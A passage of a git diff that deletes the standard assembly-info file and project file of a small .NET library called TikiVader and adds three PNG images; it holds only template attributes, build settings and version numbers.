-using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiVader")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiVader")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiVader/TikiVader.csproj b/TikiVader/TikiVader.csproj deleted file mode 100644 index f4869bb..0000000 --- a/TikiVader/TikiVader.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6} - Library - Properties - TikiVader - TikiVader - v4.5 - 512 - true - - - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/modules.png b/modules.png new file mode 100644 index 0000000..0cc5dfd Binary files /dev/null and b/modules.png differ diff --git a/notepad.png b/notepad.png new file mode 100644 index 0000000..02acaae Binary files /dev/null and b/notepad.png differ diff --git a/thread.png b/thread.png new file mode 100644 index 0000000..250b358 Binary files /dev/null and b/thread.png differ